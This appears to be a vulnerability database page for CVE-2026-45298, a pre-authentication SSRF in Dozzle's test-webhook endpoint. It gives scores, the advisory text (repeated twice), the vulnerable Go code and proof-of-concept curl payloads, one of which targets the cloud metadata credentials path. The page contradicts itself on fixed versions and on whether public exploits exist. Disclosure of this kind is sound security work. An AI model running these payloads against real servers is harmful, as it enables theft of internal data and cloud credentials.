CVE-2026-45298

Dozzle: Pre-auth SSRF with response-body reflection via POST /api/notifications/test-webhook (default no-auth deploy)

8.6 High

Dozzle is a realtime log viewer for docker containers. Prior to 10.5.2, in a default dozzle deploy (the documented quickstart, no DOZZLE_AUTH_PROVIDER set), POST /api/notifications/test-webhook is reachable without authentication and forwards an attacker-controlled URL into a WebhookDispatcher that sends an HTTP POST to the supplied URL with attacker-controlled request headers, and returns the response status code AND up to 1MB of the response body to the caller, when the target replies non-2xx. This vulnerability is fixed in 10.5.2.

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: Low
Privileges needed: None
User interaction: None

What an attacker can affect

Confidentiality: High
Integrity: None
Availability: None

Exploit likelihood

1.49%Up 1.5 points since May 27, 2026

What each source reports

CVE List Score used 8.6

Dozzle: Pre-auth SSRF with response-body reflection via POST /api/notifications/test-webhook (default no-auth deploy)

Record: CVE-2026-45298
CVSS 3.1: 8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Weakness: CWE-918
Updated: 2026-11-02

EUVDEUVD-2026-32019 8.6

Record: EUVD-2026-32019
CVSS 3.1: 8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Updated: 2026-11-02

GitHub AdvisoriesGHSA-3v9w-6365-9w54 8.6

Dozzle: Pre-auth SSRF with response-body reflection via POST /api/notifications/test-webhook (default no-auth deploy)

Summary

In a default dozzle deploy (the documented quickstart, no DOZZLE_AUTH_PROVIDER set), POST /api/notifications/test-webhook is reachable without authentication and forwards an attacker-controlled URL into a WebhookDispatcher that:

Sends an HTTP POST to the supplied URL with attacker-controlled request headers, and
Returns the response status code AND up to 1MB of the response body to the caller, when the target replies non-2xx.

This is a classic full-reflection SSRF, pre-auth, against any IP/port that dozzle's host can route to — including private subnets, link-local cloud metadata, and loopback services.

Affected versions

internal/notification/dispatcher/webhook.go and internal/web/notifications.go at commit 581bab3a43ead84ea4d009a469a17af98fb3377f and earlier (the test-webhook handler has been in place since the notifications subsystem was added).

Default-deploy reachability chain

main.go:58-59           → enforces AuthProvider in {none, forward-proxy, simple}
support/cli/args.go:18  → AuthProvider default is "none"
main.go:231-243         → when AuthProvider == "none", web.AuthProvider stays at NONE
internal/web/routes.go:130-132, 137-138 → auth middleware only registered if Provider != NONE
internal/web/routes.go:172-188          → /api/notifications/* (incl. /test-webhook) is inside that conditional Group

So the default Quickstart deploy

docker run -v /var/run/docker.sock:/var/run/docker.sock -p 8080:8080 amir20/dozzle:latest

exposes POST /api/notifications/test-webhook to the network without any authentication.

The vulnerable handler

// internal/web/notifications.go:652-716
func (h *handler) testWebhook(w http.ResponseWriter, r *http.Request) {
    var input TestWebhookInput
    if err := json.NewDecoder(r.Body).Decode(&input); err != nil { ... }
    ...
    webhook, err := dispatcher.NewWebhookDispatcher("test", input.URL, templateStr, input.Headers)
    ...
    result := webhook.SendTest(r.Context(), mockNotification)
    ...
    writeJSON(w, http.StatusOK, &TestWebhookResult{
        Success:    result.Success,
        StatusCode: statusCode,
        Error:      errStr,
    })
}

input.URL and input.Headers are entirely user-controlled. No host/IP/scheme validation anywhere.

The reflection sink

// internal/notification/dispatcher/webhook.go:88-120
req, err := http.NewRequestWithContext(ctx, http.MethodPost, w.URL, bytes.NewReader(payload))
...
for k, v := range w.Headers { req.Header.Set(k, v) }
...
resp, err := w.client.Do(req)
...
if resp.StatusCode < 200 || resp.StatusCode >= 300 {
    limitedReader := io.LimitReader(resp.Body, 1024*1024)   // 1 MB
    responseBody, _ := io.ReadAll(limitedReader)
    ...
    return TestResult{
        Success:    false,
        StatusCode: resp.StatusCode,
        Error:      fmt.Sprintf("webhook returned status code %d: %s",
                                 resp.StatusCode, string(responseBody)),
    }
}

When the SSRF target returns non-2xx, up to 1 MB of response body becomes part of Error, which is then JSON-encoded back to the attacker.

PoC

A. Read intranet admin-panel response bodies (most common path)

Most internal admin UIs respond to anonymous POST with 401/403 + an HTML or JSON body that contains version banners, CSRF tokens, internal hostnames, etc.

curl -X POST -H "Content-Type: application/json" \
  -d '{"url":"http://192.168.1.1/admin/index.html","headers":{}}' \
  http://dozzle.example.com/api/notifications/test-webhook

Response shape (writeJSON to the public Internet):

{
  "Success": false,
  "StatusCode": 401,
  "Error": "webhook returned status code 401: <html><head>... full intranet HTML body, up to 1MB ...</html>"
}

B. Cloud IMDS reachability probe

curl -X POST -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","headers":{}}' \
 …

Record: GHSA-3v9w-6365-9w54
CVSS 3.1: 8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Weakness: CWE-918
Updated: 2026-11-02

NVD 8.6

Record: CVE-2026-45298
CVSS 3.1: 8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Weakness: CWE-918
Updated: 2026-11-02

OSV 8.6

Dozzle: Pre-auth SSRF with response-body reflection via POST /api/notifications/test-webhook (default no-auth deploy)

Record: CVE-2026-45298
CVSS 3.1: 8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Weakness: CWE-918
Updated: 2026-11-02

OSVGHSA-3v9w-6365-9w54 8.6

Dozzle: Pre-auth SSRF with response-body reflection via POST /api/notifications/test-webhook (default no-auth deploy)

Summary

Sends an HTTP POST to the supplied URL with attacker-controlled request headers, and
Returns the response status code AND up to 1MB of the response body to the caller, when the target replies non-2xx.

This is a classic full-reflection SSRF, pre-auth, against any IP/port that dozzle's host can route to — including private subnets, link-local cloud metadata, and loopback services.

Affected versions

Default-deploy reachability chain

main.go:58-59           → enforces AuthProvider in {none, forward-proxy, simple}
support/cli/args.go:18  → AuthProvider default is "none"
main.go:231-243         → when AuthProvider == "none", web.AuthProvider stays at NONE
internal/web/routes.go:130-132, 137-138 → auth middleware only registered if Provider != NONE
internal/web/routes.go:172-188          → /api/notifications/* (incl. /test-webhook) is inside that conditional Group

So the default Quickstart deploy

docker run -v /var/run/docker.sock:/var/run/docker.sock -p 8080:8080 amir20/dozzle:latest

exposes POST /api/notifications/test-webhook to the network without any authentication.

The vulnerable handler

// internal/web/notifications.go:652-716
func (h *handler) testWebhook(w http.ResponseWriter, r *http.Request) {
    var input TestWebhookInput
    if err := json.NewDecoder(r.Body).Decode(&input); err != nil { ... }
    ...
    webhook, err := dispatcher.NewWebhookDispatcher("test", input.URL, templateStr, input.Headers)
    ...
    result := webhook.SendTest(r.Context(), mockNotification)
    ...
    writeJSON(w, http.StatusOK, &TestWebhookResult{
        Success:    result.Success,
        StatusCode: statusCode,
        Error:      errStr,
    })
}

input.URL and input.Headers are entirely user-controlled. No host/IP/scheme validation anywhere.

The reflection sink

// internal/notification/dispatcher/webhook.go:88-120
req, err := http.NewRequestWithContext(ctx, http.MethodPost, w.URL, bytes.NewReader(payload))
...
for k, v := range w.Headers { req.Header.Set(k, v) }
...
resp, err := w.client.Do(req)
...
if resp.StatusCode < 200 || resp.StatusCode >= 300 {
    limitedReader := io.LimitReader(resp.Body, 1024*1024)   // 1 MB
    responseBody, _ := io.ReadAll(limitedReader)
    ...
    return TestResult{
        Success:    false,
        StatusCode: resp.StatusCode,
        Error:      fmt.Sprintf("webhook returned status code %d: %s",
                                 resp.StatusCode, string(responseBody)),
    }
}

When the SSRF target returns non-2xx, up to 1 MB of response body becomes part of Error, which is then JSON-encoded back to the attacker.

PoC

A. Read intranet admin-panel response bodies (most common path)

Most internal admin UIs respond to anonymous POST with 401/403 + an HTML or JSON body that contains version banners, CSRF tokens, internal hostnames, etc.

curl -X POST -H "Content-Type: application/json" \
  -d '{"url":"http://192.168.1.1/admin/index.html","headers":{}}' \
  http://dozzle.example.com/api/notifications/test-webhook

Response shape (writeJSON to the public Internet):

{
  "Success": false,
  "StatusCode": 401,
  "Error": "webhook returned status code 401: <html><head>... full intranet HTML body, up to 1MB ...</html>"
}

B. Cloud IMDS reachability probe

curl -X POST -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","headers":{}}' \
 …

Record: GHSA-3v9w-6365-9w54
CVSS 3.1: 8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Weakness: CWE-918
Updated: 2026-11-02

OSVGO-2026-5101 No score

Dozzle: Pre-auth SSRF with response-body reflection via POST /api/notifications/test-webhook (default no-auth deploy) in github.com/amir20/dozzle

Dozzle: Pre-auth SSRF with response-body reflection via POST /api/notifications/test-webhook (default no-auth deploy) in github.com/amir20/dozzle

Record: GO-2026-5101
Updated: 2026-11-02

OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
GO-2026-5933 GHSA-3g4q-2f67-2gvh
GO-2026-5934 GHSA-59qp-cfj3-rp64
GO-2026-5935 GHSA-7856-g3gv-9wq8
GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
GO-2026-5942 CVE-2026-46600
GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
GO-2026-5969 GHSA-g936-7jqj-mwv8
GO-2026-5970 CVE-2026-56852
GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
GO-2026-5981 GHSA-mqxv-9rm6-w8qc
GO-2026-5982 GHSA-pqg7-v6wh-3pfp
GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
GO-2026-5985 GHSA-7rx3-5wx3-5v76
GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…

Record: openSUSE-SU-2026:21483-1
Updated: 2026-11-02

Affected products

Affected packages

Affected packages
Package	Affected	Fixed
`github.com/amir20/dozzle` Go	through 8.14.12	None known
`github.com/amir20/dozzle` Go	All versions	None known
`govulncheck-vulndb` openSUSE:Leap 16.0 From an advisory covering 1734 CVEs	before 0.0.20260723T184607-160000.1.1	0.0.20260723T184607-160000.1.1

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
Source	Link	Date
Nuclei	Dozzle - Server Side Request Forgery

History

History
Recorded	Changed	Sources
Nov 6, 2026	affected, facts
Nov 2, 2026	first indexed	CVE List, EUVD, GitHub Advisories, Nuclei, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-45298 is a high vulnerability (CVSS 8.6) in Amir20 Dozzle, published May 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.49%, the 74th percentile. No source names a fixed version.

References

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Left out here: 1,540 references and the rest of 3 source descriptions. The JSON record has them.